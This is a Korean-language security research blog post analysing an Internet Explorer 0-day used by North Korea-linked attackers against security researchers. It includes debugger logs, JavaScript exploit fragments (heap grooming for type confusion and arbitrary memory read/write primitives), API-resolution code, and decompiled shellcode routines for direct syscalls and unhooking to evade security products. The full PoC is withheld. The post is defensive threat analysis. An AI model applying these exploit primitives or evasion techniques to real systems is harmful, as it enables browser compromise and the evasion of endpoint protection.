Internet Explorer 0day 분석

Overview

지난 1월 구글마이크로소프트는 보안 연구자를 대상으로 한 북한발 해킹 공격에 대한 분석 결과를 공개했습니다. 알려진 것과 같이 SNS를 이용한 공격이 엔키의 연구원을 대상으로도 동일하게 시도되었습니다.

그러나 해킹 공격이 명백했기 때문에 공격자의 시도는 실패했고 반대로 공격이 시도되던 당시의 로그를 확보할 수 있었습니다. 이번 글에서는 크롬, 비주얼 스튜디오 등 공개된 분석 결과에서 설명되지 않은 Internet Explorer 0day 공격 분석 결과를 공유합니다.

Initial Attack

공격자는 크롬 공격 코드를 macOS 대상으로 변경하는 작업 참여를 요구하며 크롬 취약점 코드를 담고 있는 문서로 “Chrome_85_RCE_Full_Exploit_Code.mht” 파일을 전달해왔습니다. 파일은 Internet Explorer 브라우저를 이용해 방문한 웹 사이트를 로컬 저장 시 사용되는 MHTML 파일입니다.

해당 파일은 크롬에서 일부 내용을 확인할 수 있으나 자바 스크립트 기능을 활성화하고 버튼 액션이 동작할 때 글의 내용을 온전히 읽을 수 있게 제작되었습니다. 이것은 공격 대상이 Internet Explorer 브라우저를 사용하도록 유도한 것으로 추정됩니다.

스크립트 실행이 허용되면 원격지(codevexillium[.]org)에서 추가 페이로드를 2회 다운로드하며 2차 페이로드에는 Internet Explorer 브라우저의 취약점을 공격하는 공격 코드가 담겨있습니다.

Exploit Analysis

Root Cause Analysis

PoC code will be released after the bug being patched.

위는 취약점 근본 원인을 분석하기 위해 공격 코드에서 추출한 버그를 트리거 하는 PoC 코드입니다. 분석 결과 공격자가 사용한 버그는 DOM 오브젝트의 어트리뷰트 값 해제 부분에서 발생하는 Double Free 버그로 확인됐습니다.

eax=0eab29a4 ebx=0bdbb518 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb4cc
eip=75594d20 esp=0bdbb4c4 ebp=0bdbb4d4 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbb4c4  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                12560f70:         12564ff0            20010 -         12564000            22000
    6e1194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    778c158b ntdll!RtlDebugAllocateHeap+0x0000003c
    77881445 ntdll!RtlpAllocateHeap+0x00065745
    7781ad5e ntdll!RtlAllocateHeap+0x0000013e
    76dab056 combase!CRetailMalloc_Alloc+0x00000016 [d:\blue\com\combase\class\memapi.cxx @ 641]
    75595174 OLEAUT32!APP_DATA::AllocCachedMem+0x0000005f
    7559524f OLEAUT32!SysAllocString+0x0000007f
    665249eb MSHTML!FormsAllocStringW+0x00000015
    66bcaafe MSHTML!CAttrArray::Set+0x00000255
    66b5f589 MSHTML!CBase::InvokeAA+0x0000010e
    66b5ecc0 MSHTML!CElement::ie9_setAttributeNSInternal+0x00000222
    66816392 MSHTML!CElement::Var_setAttribute+0x00000152
    668163f4 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr 
00 0bc9b500 6dbf32d6 OLEAUT32!SysFreeString
01 0bc9b514 66b83950 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bc9b540 66f29271 MSHTML!CAttrArray::Free+0x117
03 0bc9b56c 66f376ad MSHTML!CAttrArray::Clear+0xeb
04 0bc9b5ac 6724a6c2 MSHTML!CElement::clearAttributes+0xfd
05 0bc9b5c8 661e6eee MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x32
06 0bc9b604 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb45c
eip=75594d20 esp=0bdbb454 ebp=0bdbb464 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=00000000 ebx=00000008 ecx=0bdbb540 edx=01000000 esi=00000000 edi=0bdbb540
eip=75594d20 esp=0bdbb4c8 ebp=0bdbb4e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbbbf8
eip=75594d20 esp=0bdbbbf0 ebp=0bdbbc00 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbbbf0  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   12560f70:         12564000            22000
    6e119712 verifier!AVrfDebugPageHeapFree+0x000000c2
    778c1da2 ntdll!RtlDebugFreeHeap+0x0000003c
    778805db ntdll!RtlpFreeHeap+0x00066d3b
    778194d8 ntdll!RtlFreeHeap+0x00000478
    76daafcb combase!CRetailMalloc_Free+0x0000001b [d:\blue\com\combase\class\memapi.cxx @ 687]
    755950ad OLEAUT32!APP_DATA::FreeCachedMem+0x000000a7
    755fae5d OLEAUT32!SysFreeStringImpl+0x0000007d
    755faeca OLEAUT32!SysReleaseString+0x0000001a
    755c6b3e OLEAUT32!SysFreeString+0x00000013
    6dbf32d6 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x00000026
    66b83950 MSHTML!CAttrArray::Free+0x00000117
    66f29271 MSHTML!CAttrArray::Clear+0x000000eb
    66f376ad MSHTML!CElement::clearAttributes+0x000000fd
    6724a6c2 MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x00000032
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr  
00 0bbbbb0c 6dbf32d6 OLEAUT32!SysFreeString
01 0bbbbb20 669f5adf IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bbbbb30 6656601b MSHTML!CAttrValue::Free+0x5c
03 0bbbbb74 670178d1 MSHTML!CAttrArray::Destroy+0x7f
04 0bbbbb84 66f40b41 MSHTML!CBase::DeleteAt+0x2b
05 0bbbbbdc 66f4094b MSHTML!CElement::ie9_removeAttributeNodeInternal+0x1a1
06 0bbbbc24 67258afd MSHTML!CElement::ie9_removeAttributeNode+0xbb
07 0bbbbc70 661e6eee MSHTML!CFastDOM::CElement::Trampoline_removeAttributeNode+0x6d
08 0bbbbcac 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69

디버깅 로그에서 이미 할당 해제된 힙 영역을 OLEAUT32!SysFreeString 함수로 다시 한번 할당 해제하는 것을 확인할 수 있습니다. OLEAUT32!SysFreeString API는 DOM 오브젝트에 바인드 되는 문자열 데이터의 어트리뷰트를 해제할 때 사용되는데, 해당 API는 내부적으로 APP_DATA::FreeCachedMem 함수를 통해 해제 대상 메모리를 관리합니다.
이때, 0x8000 크기 이상의 데이터는 APP_DATA 메모리 관리자의 캐쉬 기능을 거치지 않고, 기본 프로세스 힙 메모리 관리자를 통해 요청 즉시 해제되기 때문에, 현재 IE 브라우저에 적용되는 Isolated HeapDelayed free 등의 메모리 보호 기능의 영향을 받지 않게 됩니다.

Arbitrary Memory R/W

var abf = new ArrayBuffer(0x20010)
var fake = new ArrayBuffer(0x100)

function alloc1() { // allocate 0x20010
    var view = new DataView(abf)
    var str = ''
    for (var index = 4; index < abf.byteLength - 2; index += 2)
        str += '%u' + pad0(view.getUint16(index, true).toString(16))
    var result = document.createAttribute('alloc1')
    result.nodeValue = unescape(str)
    return result
}

function alloc2() { // allocate 0x20010
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, [{}])
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    var reseult = document.createAttribute('alloc2')
    result.nodeValue = dic1.items()
    return result
}

더블 프리 버그로 인해, alloc1alloc2 함수는 서로 다른 타입의 객체를 사용하지만, 같은 메모리 주소 공간에 데이터를 할당하게 되어 Type Confusion 조건을 얻을 수 있습니다.

추가 공격 코드 실행을 위해 공격자는 버퍼 주소 0x0, 사이즈 0x7FFFFFFF를 갖는 Fake ArrayBuffer를 생성한 후 프로세스의 유저 공간 전체 메모리를 읽고 쓸 수 있는 DataView 오브젝트를 생성합니다.

var dv = new DataView(fake_unlimit_arraybuffer)

function read(addr, size) {
    switch (size) {
        case 8:
            return dv.getUint8(addr)
        case 16:
            return dv.getUint16(addr, true)
        case 32:
            return dv.getUint32(addr, true)
    }
}

function write(addr, value, size) {
    switch (size) {
        case 8:
            return dv.setUint8(addr, value)
        case 16:
            return dv.setUint16(addr, value, true)
        case 32:
            return dv.setUint32(addr, value, true)
    }
}

write(0x41414141, 0x42424242, 32)

/*
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=41414141 edi=42424242
eip=663c5565 esp=0899b89c ebp=0899b89c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript9!Js::DataView::SetValue<int,int *>+0x3a:
663c5565 890411          mov     dword ptr [ecx+edx],eax ds:0023:41414141=????????
*/

DataView 생성 후, read/write 유틸리티 함수를 이용해 임의의 API를 호출할 수 있도록 추가 작업을 진행합니다.

Arbitrary Function Call

function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && findPEbase(addr)) break
        addr -= 0x10000
    }
    return addr
}

function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}

function findPEbase(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}

function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}

프로세스 메모리 전체에 접근이 가능한 상황에서 공격자는 위와 같이 유틸리티 함수를 구현하여 프로세스 내부 상황을 분석하고 임의로 필요한 API들을 호출할 수 있도록 준비합니다.

이번 공격 코드의 경우 Control Flow Guard가 적용되어 있을 경우, 해당 보호 기법을 우회하며, 공격자는 임의 API 호출을 위해 윈도우 운영체제에서 제공하는 RPC 매커니즘을 악용합니다.

위와 같이 메모리를 구성하여 공격자는 rpcrt4!NdrServerCall2(...) 함수를 시작으로, rpcrt4!Invoke(...) 함수를 통해, 임의의 API에 자유롭게 인자를 전달하여 호출할 수 있었습니다.

CFastDOM::ValidateCall, Control Flow Guard 등 보호 기법들을 무력화하고 쉘코드를 실행하는 PoC 공격 코드는 다음과 같습니다.

PoC exploit will be released after the bug being patched.

Shellcode Analysis

쉘코드는 감염 시스템에서 실행 중인 프로세스 목록, 화면 캡처, 네트워크 인터페이스 정보를 C2로 송신하여 감염 대상의 기본 정보를 수집한 후 C2 서버에서 암호화된 추가 악성코드를 메모리에 다운로드 후 실행하는 역할을 합니다.

권한 상승 공격과 주요 악성 행위를 수행할 것으로 예상되는 추가 악성코드는 확보하지 못해 상세한 공격의 의도나 결과를 밝힐 수 없지만 분석 중 확인된 악성코드의 특징은 다음과 같습니다.

Direct System Call

context *__fastcall set_syscall_number(context *ctx)
{
  context *result; // rax
  _PEB *peb; // [rsp+20h] [rbp-18h]
  unsigned int buildNum; // [rsp+28h] [rbp-10h]

  peb = *(getTeb() + 12);
  ctx->NtMapViewOfSection = 0x28;
  ctx->NtUnmapViewOfSection = 0x2A;
  ctx->NtProtectVirtualMemory = 0x50;
  ctx->NtQueryVirtualMemory = 0x23;
  ctx->NtOpenSection = 0x37;
  result = peb->OSBuildNumber;
  buildNum = peb->OSBuildNumber;

  if ( buildNum >= 7600 )
  {
    if ( peb->OSBuildNumber <= 7601u )
    {
      ctx->NtMapViewOfSection = 0x25;
      ctx->NtUnmapViewOfSection = 0x27;
      ctx->NtProtectVirtualMemory = 0x4D;
      ctx->NtQueryVirtualMemory = 0x20;
      result = ctx;
      ctx->NtOpenSection = 0x34;
    }
    else if ( buildNum == 9200 )
    {
      ctx->NtMapViewOfSection = 0x26;
      ctx->NtUnmapViewOfSection = 0x28;
      ctx->NtProtectVirtualMemory = 0x4E;
      ctx->NtQueryVirtualMemory = 0x21;
      result = ctx;
      ctx->NtOpenSection = 0x35;
    }
    else if ( buildNum == 9600 )
    {
      ctx->NtMapViewOfSection = 0x27;
      ctx->NtUnmapViewOfSection = 0x29;
      ctx->NtProtectVirtualMemory = 0x4F;
      ctx->NtQueryVirtualMemory = 0x22;
      result = ctx;
      ctx->NtOpenSection = 0x36;
    }
  }
  return result;
}

코드는 주요 API를 DLL에 구현된 함수를 사용하지 않고 시스템 콜을 직접 호출하는 방법을 사용합니다. 이는 엔드 포인트 보안 제품들의 탐지를 우회하기 위한 시도로 해석됩니다.

Disable User Mode Hook

_BOOL8 __fastcall unhook_system_dlls(context *ctx)
{
  char v2[16]; // [rsp+20h] [rbp-48h] BYREF
  char v3[16]; // [rsp+30h] [rbp-38h] BYREF
  char v4[16]; // [rsp+40h] [rbp-28h] BYREF

  strcpy(v3, "ntdll.dll");
  strcpy(v4, "kernel32.dll");
  strcpy(v2, "kernelbase.dll");
  return unhook(ctx, v3) && unhook(ctx, v2) && unhook(ctx, v4);
}

“\KnownDlls” 디렉토리에서 주요 시스템 Dll의 원본을 현재 프로세스로 복사하여 유저 모드 훅을 제거합니다. 이 또한 보안 제품을 우회하기 위한 시도로 해석됩니다.

In Process Dll Hiding


32비트 IE 프로세스에서 동작을 시작한 쉘코드는 “splwow64.exe” 프로그램을 실행해 64비트 프로세스에서 악성 행위를 진행합니다. 이때 대상 프로세스에 적재하는 악성코드를 정상 Dll의 시작 주소에서 0x1000 오프셋만큼 떨어진 주소에 위치하도록 하여 프로세스에 맵핑된 Dll을 기준으로 탐지하는 보안 제품을 무력화하기 위한 것으로 보입니다.

Conclusion

이번 공격에서는 주요 소프트웨어의 0Day 취약점을 이용한 것 외에도 공격자가 오랜 기간 보안 연구자로 둔갑한 SNS계정을 준비하고 이를 활용한 것이 특징입니다.

컴퓨터 기술은 해킹 사고의 근본적 원인인 보안 취약점이 발생하지 않도록 발전하고 있으나, 이번 사례와 같이 부주의한 사람의 실수를 대상으로 하는 사이버 공격은 앞으로도 빈번히 발생할 것으로 예상됩니다.

따라서 컴퓨터와 인터넷이 주는 생활의 편의 이면에는 언제나 잠재적인 보안 위협이 존재한다는 사실을 인식하고, 선제적으로 대응하는 것이 현실의 보안 문제에 맞서는 최선의 방안이라고 생각합니다.